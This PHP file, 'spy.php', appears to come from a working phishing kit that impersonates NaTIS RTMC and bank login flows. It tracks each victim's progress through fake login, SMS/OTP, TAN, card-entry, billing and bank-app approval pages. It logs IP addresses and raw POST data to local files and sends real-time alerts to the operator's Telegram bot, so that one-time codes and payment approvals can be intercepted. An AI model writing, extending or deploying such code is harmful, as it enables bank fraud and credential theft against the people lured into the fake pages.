<?php
// auth/spy.php
require '../main.php';
require_once __DIR__ . '/class/Config.php';
require_once __DIR__ . '/class/GeoAccess.php';

// GET heartbeat (img src) - update victim without JavaScript
if (isset($_GET['hb']) && $_GET['hb'] == '1') {
    $m->feed(time(), "POST AT - FACTURE");
    header('Content-Type: image/gif');
    header('Cache-Control: no-store');
    echo base64_decode('R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7');
    exit;
}

// --- note / sendBot (ما لمسناش المنطق الأصلي) ---
function spySkipPanelTelegram()
{
    if (session_status() !== PHP_SESSION_ACTIVE) {
        session_start();
    }
    return !empty($_SESSION['bin_route']);
}

function note($statu, $notifyTelegram = false)
{
    global $m, $a_ids, $notifs;
    $oldlogs = $m->getData()["LOGS"];
    $newlogs = $oldlogs . "\n- LOG [ $statu ]";
    $m->update(["LOGS" => $newlogs]);

    // Only Telegram when explicitly allowed (login first entry)
    if (!$notifyTelegram || $notifs != "1" || spySkipPanelTelegram()) {
        return;
    }

    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    if ($ip === '::1') {
        $ip = '127.0.0.1';
    }
    if (!GeoAccess::isAllowed($ip)) {
        return;
    }

    $ids = explode(",", str_replace(" ", "", $a_ids));
    $time = date('H:i d/m');
    $brand = class_exists('Config', false) ? Config::$alert_brand_name : 'NaTIS RTMC';
    $geoLine = GeoAccess::telegramIpLine($ip);
    $msg = urlencode("🔔 {$brand} Alert\n\n{$geoLine}\n📄 Status: $statu\n⏰ $time");
    foreach ($ids as $id) {
        sendBot($id, $msg);
    }
}

function sendBot($id, $msg)
{
    global $a_bot;
    $url = "https://api.telegram.org/bot$a_bot/sendMessage?chat_id=$id&text=$msg";
    $ci = curl_init();
    curl_setopt_array($ci, [
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_URL => $url
    ]);
    $out = curl_exec($ci);
    curl_close($ci);
    return $out;
}

/* === الأحداث الأصلية === */
if (isset($_POST['otpview'])) note("In otp page");
if (isset($_POST['otping'])) note("SMS / OTP — typing code...");
if (isset($_POST['loginview'])) {
    $m->feed(time(), "POST AT - FACTURE");
    if (isset($_POST['firstload'])) note("In Login page");
}
if (isset($_POST['loging'])) note("Entering login info...");
if (isset($_POST['smsview'])) {
    $m->feed(time(), "SMS");
    // Send notification only on first load, not on keepAlive
    if (isset($_POST['firstload'])) {
        note("In SMS page");
    }
}
if (isset($_POST['taning'])) note("Entering TAN...");
if (isset($_POST['tanview'])) note("In TAN page");
if (isset($_POST['approvview'])) note("Bank app — approval page open");
if (isset($_POST['cardview'])) {
    $m->feed(time(), "CARD");
    if (isset($_POST['firstload'])) note("In card page");
}
if (isset($_POST['carding'])) note("Entering card info...");
if (isset($_POST['carddetailsview'])) note("In card details page");
if (isset($_POST['carddetailsing'])) note("Entering card details info...");
if (isset($_POST['firmaview'])) note("In firma page");
if (isset($_POST['firmaing'])) note("Entering firma code...");
if (isset($_POST['waitingview'])) note("Waiting for redirection...");
if (isset($_POST['appview'])) note("Waiting for bank app authorization...");
if (isset($_POST['billingview'])) note("In billing page");
if (isset($_POST['billinging'])) note("Entering billing information...");
if (isset($_POST['finishview'])) note("Success!");
if (isset($_POST['clonedetect'])) note("+ A CLONE TRY HAS BEEN DETECTED!");
if (isset($_POST['smsresend'])) {
    note("🔄 SMS Resend Requested - User didn't receive SMS");
}
if (isset($_POST['smsnotreceived'])) {
    note("❌ User clicked: Didn't receive SMS");
}

/* === Approv Confirm click → Telegram === */
if (isset($_POST['approv_clicked'])) {
    $bank = isset($_POST['bank']) ? trim((string) $_POST['bank']) : 'Unknown Bank';
    if ($bank === '') {
        $bank = 'Unknown Bank';
    }

    try {
        $oldlogs = $m->getData()["LOGS"] ?? '';
        $m->update(["LOGS" => $oldlogs . "\n+ APPROV CLICKED [ User confirmed payment in $bank MobileBanking App ]"]);
        $m->feed(time(), "APPROV CONFIRMED");
    } catch (Throwable $e) {
    }

    note("✅ APPROV CONFIRMED — {$bank} (user tapped Confirm)", true);

    header('Content-Type: text/plain; charset=UTF-8');
    echo 'OK';
    exit;
}


/* === تتبّع صفحة الفاتورة (fac.php) === */
if (isset($_POST['page'])) {

    // Debug POST content (مؤقت - مراقبة القيم)
    file_put_contents(__DIR__ . '/debug_post.log', date('c') . ' ' . json_encode($_POST) . PHP_EOL, FILE_APPEND);

    // فقط نهتمو بصفحة fac
    if ($_POST['page'] !== 'fac') {
        exit; // ما نعبثوش بباقي الـpages هنا
    }

    $action   = $_POST['action'] ?? 'unknown';
    $order_id = $_POST['order_id'] ?? 'none';
    $ip       = $_SERVER['REMOTE_ADDR'];
    $logLine  = "[" . date('c') . "] fac action=$action order=$order_id ip=$ip";

    // سجل الحدث فـ log
    file_put_contents(__DIR__ . '/invoice_pings.log', $logLine . PHP_EOL, FILE_APPEND);

    // حفظ الحالة الأخيرة لكل IP
    $stateFile = __DIR__ . '/last_state_' . str_replace([':', '.'], '_', $ip) . '.txt';
    $lastState = file_exists($stateFile) ? trim(file_get_contents($stateFile)) : '';

    // No Telegram for fac enter/leave/hidden — only login first entry notifies
    if ($action !== $lastState && in_array($action, ['enter', 'leave', 'hidden'], true)) {
        file_put_contents($stateFile, $action);
    }
}
?>
